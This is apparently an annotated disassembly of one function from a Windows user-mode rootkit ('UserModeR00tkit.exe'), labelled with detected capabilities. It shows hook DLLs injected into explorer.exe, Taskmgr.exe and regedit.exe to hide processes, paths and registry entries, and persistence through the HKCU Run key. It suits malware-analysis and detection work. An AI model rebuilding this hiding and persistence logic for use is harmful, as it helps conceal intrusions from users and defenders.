Function at 0x140003aa0
Capabilities:
Accept command line arguments
Persist via run registry key
Query or enumerate registry value
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rsp - 0x350]
sub rsp, 0x450
mov rax, qword [0x14000d038]
xor rax, rsp
mov qword [rbp + 0x340], rax
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
xor r14d, r14d
mov dword [rbp + 0x44], r14d
mov qword [rbp + 0x50], r14
lea ecx, [r14 + 0x48]
call fcn.1400075f8
xorps xmm0, xmm0
lea edx, [r14 + 0x10]
mov r8, rax
lea rcx, [rbp + 0x58]
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rbp + 0x48], rax
mov qword [rbp + 0x58], r14
movdqa xmmword [rbp + 0x60], xmm0
mov qword [rbp + 0x70], 7
mov qword [rbp + 0x78], 8
mov dword [rbp + 0x40], 0x3f800000
call fcn.140004f80
xorps xmm0, xmm0
mov qword [rbp + 0x90], r14
movups xmmword [rbp + 0x80], xmm0
lea rdx, [rbp + 0x80]
mov byte [rbp + 0x80], r14b
lea rcx, [rbp + 0x108]
mov qword [rbp + 0x98], 0xf
call fcn.140004df0
mov rdx, qword [rbp + 0x98]
cmp rdx, 0x10
jb 0x140003bb3
mov rcx, qword [rbp + 0x80]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003bae
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004b95
call fcn.1400075f0
mov eax, dword [0x140009b58]
lea r8, [rsp + 0x70]
movsd xmm0, qword [str.fileHooks.dll]
lea rdx, [rbp - 0x70]
movsd qword [rbp - 0x18], xmm0
lea rcx, [rbp + 0x40]
xorps xmm0, xmm0
mov dword [rbp - 0x10], eax
movzx eax, byte [0x140009b5c]
movups xmmword [rsp + 0x70], xmm0
mov byte [rbp - 0xc], al
movsd xmm0, qword [str.explorer.exe]
mov eax, dword [0x140009898]
movsd qword [rsp + 0x70], xmm0
mov word [rbp - 0xa], r14w
mov qword [rbp - 8], 0xd
mov qword [rbp], 0xf
mov byte [rbp - 0xb], r14b
mov qword [rbp - 0x80], reloc.OLEAUT32.dll_VariantTimeToDosDateTime
mov qword [rbp - 0x78], 0xf
mov dword [rsp + 0x78], eax
mov byte [rsp + 0x7c], r14b
call fcn.140005320
mov r8d, 1
lea rdx, [rbp - 0x18]
mov rcx, qword [rax]
add rcx, 0x30
call fcn.140005680
mov rdx, qword [rbp - 0x78]
cmp rdx, 0x10
jb 0x140003c88
mov rcx, qword [rsp + 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003c83
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003c83
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400075f0
mov edx, 0x20
mov qword [rbp - 0x80], r14
lea r9, [0x140004d90]
mov qword [rbp - 0x78], 0xf
lea rcx, [rbp - 0x18]
mov byte [rsp + 0x70], r14b
lea r8d, [rdx - 0x1f]
call fcn.140007634
mov eax, dword [rbp + 0x40]
mov ecx, 0x48
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x40], r14
call fcn.1400075f8
xorps xmm0, xmm0
mov r8, rax
mov qword [rax], rax
mov qword [rax + 8], rax
mov rcx, qword [rbp + 0x70]
mov rdx, qword [rbp + 0x60]
sub rdx, qword [rbp + 0x58]
mov qword [rsp + 0x60], rcx
mov rcx, qword [rbp + 0x78]
mov qword [rsp + 0x68], rcx
lea rcx, [rsp + 0x48]
sar rdx, 3
mov qword [rsp + 0x38], rax
movdqu xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], r14
call fcn.140004f80
mov rdi, qword [rbp + 0x48]
mov rbx, qword [rdi]
cmp rbx, rdi
je 0x140003d3d
nop dword [rax]
lea r8, [rbx + 0x10]
lea rdx, [rbp - 0x70]
lea rcx, [rsp + 0x30]
call fcn.140006d00
mov rax, qword [rbx]
mov rbx, rax
cmp rax, rdi
jne 0x140003d20
lea rcx, [rsp + 0x30]
call fcn.140002710
xorps xmm0, xmm0
mov qword [rbp + 0xd0], r14
mov r8d, 0x13
mov qword [rbp + 0xb0], r14
lea rdx, [0x140009b60]
mov qword [rbp + 0xb8], r14
lea rcx, [rbp + 0xa0]
movdqu xmmword [rbp + 0xc0], xmm0
movups xmmword [rbp + 0xa0], xmm0
call fcn.140005910
cmp qword [rbp + 0xb8], 8
lea rax, [rbp + 0xa0]
lea r8, [rbp - 0x70]
cmovae rax, qword [rbp + 0xa0]
lea rcx, [rbp + 0xc0]
xor edx, edx
mov qword [rbp - 0x70], rax
call fcn.140006510
xorps xmm0, xmm0
mov qword [rbp + 0x30], r14
xor r9d, r9d
lea r8, [rbp + 0x130]
mov edx, 0x104
lea rcx, [0x140009b60]
movdqu xmmword [rbp + 0x20], xmm0
call qword [sym.imp.KERNEL32.dll_GetFullPathNameW]
mov edx, 0x5c
lea rcx, [rbp + 0x130]
call qword [sym.imp.VCRUNTIME140.dll_wcsrchr]
xorps xmm0, xmm0
mov qword [rbp - 8], r14
mov qword [rbp], r14
mov r12, 0xffffffffffffffff
movups xmmword [rbp - 0x18], xmm0
test rax, rax
je 0x140003e33
mov word [rax], r14w
mov r8, r12
lea rax, [rbp + 0x130]
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], r14w
jne 0x140003e20
lea rdx, [rbp + 0x130]
jmp 0x140003e3d
xor r8d, r8d
lea rdx, [0x140009b4c]
lea rcx, [rbp - 0x18]
call fcn.140005910
mov rdx, qword [rbp + 0x28]
lea r8, [rbp - 0x18]
cmp rdx, qword [rbp + 0x30]
je 0x140003e60
call fcn.1400070f0
add qword [rbp + 0x28], 0x20
jmp 0x140003e69
lea rcx, [rbp + 0x20]
call fcn.140006950
xorps xmm0, xmm0
mov qword [rbp + 0x18], r14
lea r15, str.hide
mov qword [rbp + 0x90], r14
mov rdx, r15
mov qword [rbp + 0x98], r14
mov r8d, 4
lea rcx, [rbp + 0x80]
movdqu xmmword [rbp + 8], xmm0
movups xmmword [rbp + 0x80], xmm0
call fcn.140005910
mov rdx, qword [rbp + 0x10]
lea r8, [rbp + 0x80]
cmp rdx, qword [rbp + 0x18]
je 0x140003ec3
call fcn.1400070f0
add qword [rbp + 0x10], 0x20
jmp 0x140003ecc
lea rcx, [rbp + 8]
call fcn.140006950
xorps xmm0, xmm0
mov qword [rsp + 0x40], r14
mov r8d, 0x12
mov qword [rsp + 0x48], r14
lea rdx, str.processAgentMapped
lea rcx, [rsp + 0x30]
movups xmmword [rsp + 0x30], xmm0
call fcn.140005910
lea r8, [rsp + 0x30]
lea rdx, [rbp + 0xc0]
call fcn.1400018a0
xorps xmm0, xmm0
mov qword [rsp + 0x40], r14
mov r8d, 0xa
mov qword [rsp + 0x48], r14
lea rdx, str.pathMapped
lea rcx, [rsp + 0x30]
movups xmmword [rsp + 0x30], xmm0
call fcn.140005910
lea r8, [rsp + 0x30]
lea rdx, [rbp + 0x20]
call fcn.1400012c0
xorps xmm0, xmm0
mov qword [rsp + 0x40], r14
mov r8d, 0xe
mov qword [rsp + 0x48], r14
lea rdx, str.registryMapped
lea rcx, [rsp + 0x30]
movups xmmword [rsp + 0x30], xmm0
call fcn.140005910
lea r8, [rsp + 0x30]
lea rdx, [rbp + 8]
call fcn.1400012c0
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rcx, rax
lea rdx, [rbp - 0x58]
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
cmp dword [rbp - 0x58], 4
mov rsi, rax
jne 0x14000481a
mov r8, qword [rax + 8]
mov rdx, r14
lea rax, str.process
movzx ecx, word [r8 + rdx*2]
inc rdx
cmp cx, word [rax + rdx*2 - 2]
jne 0x1400042ec
cmp rdx, 8
jne 0x140003fa2
mov r9, qword [rsi + 0x10]
mov rcx, r14
movzx eax, word [r9 + rcx*2]
inc rcx
cmp ax, word [r15 + rcx*2 - 2]
jne 0x1400042ec
cmp rcx, 5
jne 0x140003fc2
mov rbx, qword [rsi + 0x18]
lea r8d, [rcx + 0xd]
xorps xmm0, xmm0
mov qword [rsp + 0x40], r14
xor eax, eax
mov qword [rsp + 0x48], r14
lea rcx, [rsp + 0x30]
mov qword [rbp - 0x40], rax
lea rdx, str.processAgentMapped
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rsp + 0x30], xmm0
call fcn.140005910
lea r8, [rsp + 0x30]
lea rdx, [rbp - 0x50]
call fcn.140001b20
xorps xmm0, xmm0
mov qword [rbp - 0x28], r14
movups xmmword [rbp - 0x38], xmm0
mov qword [rbp - 0x20], r14
mov r8, r12
inc r8
cmp word [rbx + r8*2], r14w
jne 0x140004031
mov rdx, rbx
lea rcx, [rbp - 0x38]
call fcn.140005910
cmp qword [rbp - 0x20], 8
lea rax, [rbp - 0x38]
mov rdx, qword [rbp - 0x48]
cmovae rax, qword [rbp - 0x38]
mov qword [rbp - 0x70], rax
cmp rdx, qword [rbp - 0x40]
je 0x14000406d
mov qword [rdx], rax
add qword [rbp - 0x48], 8
jmp 0x14000407a
lea r8, [rbp - 0x70]
lea rcx, [rbp - 0x50]
call fcn.140006510
xorps xmm0, xmm0
mov qword [rsp + 0x40], r14
mov r8d, VariantTimeToDosDateTime
mov qword [rsp + 0x48], r14
lea rdx, str.agentMapped
lea rcx, [rsp + 0x30]
movups xmmword [rsp + 0x30], xmm0
call fcn.140005910
lea r8, [rsp + 0x30]
lea rdx, [rbp - 0x50]
call fcn.1400018a0
mov ecx, 0x20
mov qword [rsp + 0x38], r14
call fcn.1400075f8
movups xmm0, xmmword [str.processHooks.dll]
mov qword [rsp + 0x30], rax
lea r8, [rsp + 0x70]
mov qword [rsp + 0x40], 0x10
lea rdx, [rbp - 0x70]
mov qword [rsp + 0x48], 0x1f
lea rcx, [rbp + 0x40]
movups xmmword [rax], xmm0
mov byte [rax + 0x10], r14b
movzx eax, word [0x1400097d0]
movsd xmm0, qword [str.Taskmgr.exe]
mov word [rsp + 0x78], ax
movzx eax, byte [0x1400097d2]
mov byte [rsp + 0x7a], al
mov dword [rsp + 0x7c], r14d
mov qword [rbp - 0x80], VariantTimeToDosDateTime
mov qword [rbp - 0x78], 0xf
movsd qword [rsp + 0x70], xmm0
mov byte [rsp + 0x7b], r14b
call fcn.140005320
mov r8d, 1
lea rdx, [rsp + 0x30]
mov rcx, qword [rax]
add rcx, 0x30
call fcn.140005680
mov rdx, qword [rbp - 0x78]
cmp rdx, 0x10
jb 0x14000418c
mov rcx, qword [rsp + 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004187
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004187
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400075f0
mov edx, 0x20
mov qword [rbp - 0x80], r14
lea r9, [0x140004d90]
mov qword [rbp - 0x78], 0xf
lea rcx, [rsp + 0x30]
mov byte [rsp + 0x70], r14b
lea r8d, [rdx - 0x1f]
call fcn.140007634
mov eax, dword [rbp + 0x40]
mov ecx, 0x48
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x40], r14
call fcn.1400075f8
xorps xmm0, xmm0
mov r8, rax
mov qword [rax], rax
mov qword [rax + 8], rax
mov rcx, qword [rbp + 0x70]
mov rdx, qword [rbp + 0x60]
sub rdx, qword [rbp + 0x58]
mov qword [rsp + 0x60], rcx
mov rcx, qword [rbp + 0x78]
mov qword [rsp + 0x68], rcx
lea rcx, [rsp + 0x48]
sar rdx, 3
mov qword [rsp + 0x38], rax
movdqu xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], r14
call fcn.140004f80
mov rdi, qword [rbp + 0x48]
mov rbx, qword [rdi]
cmp rbx, rdi
je 0x14000423d
nop
lea r8, [rbx + 0x10]
lea rdx, [rbp - 0x70]
lea rcx, [rsp + 0x30]
call fcn.140006d00
mov rax, qword [rbx]
mov rbx, rax
cmp rax, rdi
jne 0x140004220
lea rcx, [rsp + 0x30]
call fcn.140002710
call fcn.1400035a0
mov rdx, qword [rbp - 0x20]
cmp rdx, 8
jb 0x140004288
mov rcx, qword [rbp - 0x38]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004283
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400042d6
call fcn.1400075f0
mov rcx, qword [rbp - 0x50]
mov qword [rbp - 0x28], r14
mov qword [rbp - 0x20], 7
mov word [rbp - 0x38], r14w
test rcx, rcx
je 0x1400042e2
mov rax, qword [rbp - 0x40]
sub rax, rcx
sar rax, 3
lea rdx, [rax*8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400042dd
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400042dd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400075f0
cmp dword [rbp - 0x58], 4
jne 0x14000481a
mov rdx, qword [rsi + 8]
lea r8, str.path
mov rcx, r14
nop word [rax + rax]
movzx eax, word [rdx + rcx*2]
inc rcx
cmp ax, word [r8 + rcx*2 - 2]
jne 0x1400044a9
cmp rcx, 5
jne 0x140004300
mov rdx, qword [rsi + 0x10]
mov rcx, r14
movzx eax, word [rdx + rcx*2]
inc rcx
cmp ax, word [r15 + rcx*2 - 2]
jne 0x1400044a9
cmp rcx, 5
jne 0x140004320
xorps xmm0, xmm0
mov qword [rsp + 0x40], r14
xor eax, eax
mov qword [rsp + 0x48], r14
lea r8d, [rcx + 5]
mov qword [rbp - 0x60], rax
lea rcx, [rsp + 0x30]
lea rdx, str.pathMapped
movups xmmword [rbp - 0x70], xmm0
movups xmmword [rsp + 0x30], xmm0
call fcn.140005910
lea r8, [rsp + 0x30]
lea rdx, [rbp - 0x70]
call fcn.140001540
mov rdx, qword [rsi + 0x18]
xorps xmm0, xmm0
movups xmmword [rbp - 0x38], xmm0
mov qword [rbp - 0x28], r14
mov r8, r12
mov qword [rbp - 0x20], r14
nop
inc r8
cmp word [rdx + r8*2], r14w
jne 0x140004390
lea rcx, [rbp - 0x38]
call fcn.140005910
mov rdx, qword [rbp - 0x68]
cmp rdx, qword [rbp - 0x60]
je 0x1400043cd
movups xmm0, xmmword [rbp - 0x38]
mov word [rbp - 0x38], r14w
movups xmm1, xmmword [rbp - 0x28]
movups xmmword [rdx], xmm0
movups xmmword [rdx + 0x10], xmm1
add qword [rbp - 0x68], 0x20
mov edx, 7
jmp 0x1400043de
lea r8, [rbp - 0x38]
lea rcx, [rbp - 0x70]
call fcn.1400066a0
mov rdx, qword [rbp - 0x20]
cmp rdx, 8
jb 0x14000441a
mov rcx, qword [rbp - 0x38]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004415
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004493
call fcn.1400075f0
xorps xmm0, xmm0
mov qword [rsp + 0x40], r14
mov r8d, 0xa
mov qword [rsp + 0x48], r14
lea rdx, str.pathMapped
lea rcx, [rsp + 0x30]
movups xmmword [rsp + 0x30], xmm0
call fcn.140005910
lea r8, [rsp + 0x30]
lea rdx, [rbp - 0x70]
call fcn.1400012c0
mov rcx, qword [rbp - 0x70]
test rcx, rcx
je 0x14000449f
mov rdx, qword [rbp - 0x68]
call fcn.140005a50
mov rcx, qword [rbp - 0x70]
mov rdx, qword [rbp - 0x60]
mov rax, rcx
sub rdx, rcx
and rdx, 0xffffffffffffffe0
cmp rdx, 0x1000
jb 0x14000449a
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000449a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400075f0
cmp dword [rbp - 0x58], 4
jne 0x14000481a
mov rdx, qword [rsi + 8]
lea r8, str.registry
mov rcx, r12
nop word [rax + rax]
movzx eax, word [rdx + rcx*2 + 2]
cmp ax, word [r8 + rcx*2 + 2]
jne 0x14000481a
add rcx, 2
cmp rcx, 9
je 0x1400044eb
movzx eax, word [rdx + rcx*2]
cmp ax, word [r8 + rcx*2]
je 0x1400044c0
jmp 0x14000481a
mov rdx, qword [rsi + 0x10]
mov rcx, r14
movzx eax, word [rdx + rcx*2]
inc rcx
cmp ax, word [r15 + rcx*2 - 2]
jne 0x14000481a
cmp rcx, 5
jne 0x1400044f2
xorps xmm0, xmm0
mov qword [rsp + 0x40], r14
xor eax, eax
mov qword [rsp + 0x48], r14
lea r8d, [rcx + 9]
mov qword [rbp - 0x40], rax
lea rcx, [rsp + 0x30]
lea rdx, str.registryMapped
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rsp + 0x30], xmm0
call fcn.140005910
lea r8, [rsp + 0x30]
lea rdx, [rbp - 0x50]
call fcn.140001540
mov rdx, qword [rsi + 0x18]
xorps xmm0, xmm0
movups xmmword [rbp - 0x38], xmm0
mov qword [rbp - 0x28], r14
mov r8, r12
mov qword [rbp - 0x20], r14
inc r8
cmp word [rdx + r8*2], r14w
jne 0x140004560
lea rcx, [rbp - 0x38]
call fcn.140005910
mov rdx, qword [rbp - 0x48]
cmp rdx, qword [rbp - 0x40]
je 0x14000459d
movups xmm0, xmmword [rbp - 0x38]
mov word [rbp - 0x38], r14w
movups xmm1, xmmword [rbp - 0x28]
movups xmmword [rdx], xmm0
movups xmmword [rdx + 0x10], xmm1
add qword [rbp - 0x48], 0x20
mov edx, 7
jmp 0x1400045ae
lea r8, [rbp - 0x38]
lea rcx, [rbp - 0x50]
call fcn.1400066a0
mov rdx, qword [rbp - 0x20]
cmp rdx, 8
jb 0x1400045ea
mov rcx, qword [rbp - 0x38]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400045e5
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000480e
call fcn.1400075f0
xorps xmm0, xmm0
mov qword [rsp + 0x40], r14
mov r8d, 0xe
mov qword [rsp + 0x48], r14
lea rdx, str.registryMapped
lea rcx, [rsp + 0x30]
movups xmmword [rsp + 0x30], xmm0
call fcn.140005910
lea r8, [rsp + 0x30]
lea rdx, [rbp - 0x50]
call fcn.1400012c0
mov ecx, 0x20
mov qword [rsp + 0x38], r14
call fcn.1400075f8
movups xmm0, xmmword [str.registryHooks.dll]
mov qword [rsp + 0x30], rax
lea r8, [rsp + 0x70]
mov qword [rsp + 0x40], 0x11
lea rdx, [rbp - 0x70]
mov qword [rsp + 0x48], 0x1f
movups xmmword [rax], xmm0
movzx ecx, byte [0x140009c60]
mov byte [rax + 0x10], cl
lea rcx, [rbp + 0x40]
mov byte [rax + 0x11], r14b
movzx eax, word [0x140009838]
movsd xmm0, qword [str.regedit.exe]
mov word [rsp + 0x78], ax
movzx eax, byte [0x14000983a]
mov byte [rsp + 0x7a], al
mov dword [rsp + 0x7c], r14d
mov qword [rbp - 0x80], VariantTimeToDosDateTime
mov qword [rbp - 0x78], 0xf
movsd qword [rsp + 0x70], xmm0
mov byte [rsp + 0x7b], r14b
call fcn.140005320
mov r8d, 1
lea rdx, [rsp + 0x30]
mov rcx, qword [rax]
add rcx, 0x30
call fcn.140005680
mov rdx, qword [rbp - 0x78]
cmp rdx, 0x10
jb 0x140004706
mov rcx, qword [rsp + 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004701
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004701
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400075f0
mov edx, 0x20
mov qword [rbp - 0x80], r14
lea r9, [0x140004d90]
mov qword [rbp - 0x78], 0xf
lea rcx, [rsp + 0x30]
mov byte [rsp + 0x70], r14b
lea r8d, [rdx - 0x1f]
call fcn.140007634
mov eax, dword [rbp + 0x40]
mov ecx, 0x48
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x40], r14
call fcn.1400075f8
xorps xmm0, xmm0
mov r8, rax
mov qword [rax], rax
mov qword [rax + 8], rax
mov rcx, qword [rbp + 0x70]
mov rdx, qword [rbp + 0x60]
sub rdx, qword [rbp + 0x58]
mov qword [rsp + 0x60], rcx
mov rcx, qword [rbp + 0x78]
mov qword [rsp + 0x68], rcx
lea rcx, [rsp + 0x48]
sar rdx, 3
mov qword [rsp + 0x38], rax
movdqu xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], r14
call fcn.140004f80
mov rdi, qword [rbp + 0x48]
mov rbx, qword [rdi]
cmp rbx, rdi
je 0x1400047bd
nop dword [rax + rax]
lea r8, [rbx + 0x10]
lea rdx, [rbp - 0x70]
lea rcx, [rsp + 0x30]
call fcn.140006d00
mov rax, qword [rbx]
mov rbx, rax
cmp rax, rdi
jne 0x1400047a0
lea rcx, [rsp + 0x30]
call fcn.140002710
call fcn.1400035a0
mov rcx, qword [rbp - 0x50]
test rcx, rcx
je 0x14000481a
mov rdx, qword [rbp - 0x48]
call fcn.140005a50
mov rcx, qword [rbp - 0x50]
mov rdx, qword [rbp - 0x40]
mov rax, rcx
sub rdx, rcx
and rdx, 0xffffffffffffffe0
cmp rdx, 0x1000
jb 0x140004815
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004815
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400075f0
xor r9d, r9d
lea r8, [rbp + 0x130]
mov edx, 0x104
lea rcx, str.UserModeR00tkit.exe
call qword [sym.imp.KERNEL32.dll_GetFullPathNameA]
lea rcx, [rbp + 0x130]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__strdup]
mov r9d, 0x20006
mov qword [rbp - 0x70], r14
mov rsi, rax
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
lea rax, [rbp - 0x70]
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140004930
mov rcx, qword [rbp - 0x70]
lea rax, [rbp + 0x38]
mov qword [rsp + 0x28], rax
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], r14
mov rdx, r15
mov dword [rbp + 0x38], r14d
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x140004926
mov dword [rsp + 0x28], r14d
mov r9d, r12d
mov r8, rsi
mov qword [rsp + 0x20], r14
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd rdi, eax
mov eax, 2
mul rdi
cmovo rax, r12
mov rcx, rax
call fcn.140007704
mov r9d, r12d
mov dword [rsp + 0x28], edi
mov r8, rsi
mov qword [rsp + 0x20], rax
xor edx, edx
mov ecx, 0xfde9
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea ecx, [rdi*2 + 2]
mov r9d, 1
mov dword [rsp + 0x28], ecx
xor r8d, r8d
mov rcx, qword [rbp - 0x70]
mov rdx, r15
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, rbx
call fcn.1400075f0
mov rcx, qword [rbp - 0x70]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor r9d, r9d
lea rcx, [rbp + 0xd8]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
je 0x140004983
nop dword [rax]
lea rcx, [rbp + 0xd8]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0xd8]
call qword [sym.imp.USER32.dll_DispatchMessageW]
xor r9d, r9d
lea rcx, [rbp + 0xd8]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
jne 0x140004950
mov rdx, qword [rbp + 0x98]
mov ebx, dword [rbp + 0xe8]
cmp rdx, 8
jb 0x1400049cf
mov rcx, qword [rbp + 0x80]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400049ca
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004b95
call fcn.1400075f0
mov rcx, qword [rbp + 8]
test rcx, rcx
je 0x140004a26
mov rdx, qword [rbp + 0x10]
call fcn.140005a50
mov rcx, qword [rbp + 8]
mov rdx, qword [rbp + 0x18]
mov rax, rcx
sub rdx, rcx
and rdx, 0xffffffffffffffe0
cmp rdx, 0x1000
jb 0x140004a15
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004b95
call fcn.1400075f0
xorps xmm0, xmm0
mov qword [rbp + 0x18], r14
movdqu xmmword [rbp + 8], xmm0
mov rdx, qword [rbp]
cmp rdx, 8
jb 0x140004a66
mov rcx, qword [rbp - 0x18]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004a61
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004b95
call fcn.1400075f0
mov rcx, qword [rbp + 0x20]
test rcx, rcx
je 0x140004abd
mov rdx, qword [rbp + 0x28]
call fcn.140005a50
mov rcx, qword [rbp + 0x20]
mov rdx, qword [rbp + 0x30]
mov rax, rcx
sub rdx, rcx
and rdx, 0xffffffffffffffe0
cmp rdx, 0x1000
jb 0x140004aac
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004b95
call fcn.1400075f0
xorps xmm0, xmm0
mov qword [rbp + 0x30], r14
movdqu xmmword [rbp + 0x20], xmm0
mov rdx, qword [rbp + 0xb8]
cmp rdx, 8
jb 0x140004b03
mov rcx, qword [rbp + 0xa0]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004afe
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004b95
call fcn.1400075f0
mov rcx, qword [rbp + 0xc0]
mov qword [rbp + 0xb0], r14
mov qword [rbp + 0xb8], 7
mov word [rbp + 0xa0], r14w
test rcx, rcx
je 0x140004b5d
mov rdx, qword [rbp + 0xd0]
mov rax, rcx
sub rdx, rcx
and rdx, 0xfffffffffffffff8
cmp rdx, 0x1000
jb 0x140004b58
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004b95
call fcn.1400075f0
mov rdx, qword [rbp + 0x120]
cmp rdx, 0x10
jb 0x140004ba1
mov rcx, qword [rbp + 0x108]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004b9c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004b9c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400075f0
lea rcx, [rbp + 0x40]
call fcn.140002800
mov eax, ebx
mov rcx, qword [rbp + 0x340]
xor rcx, rsp
call fcn.1400075d0
lea r11, [rsp + 0x450]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret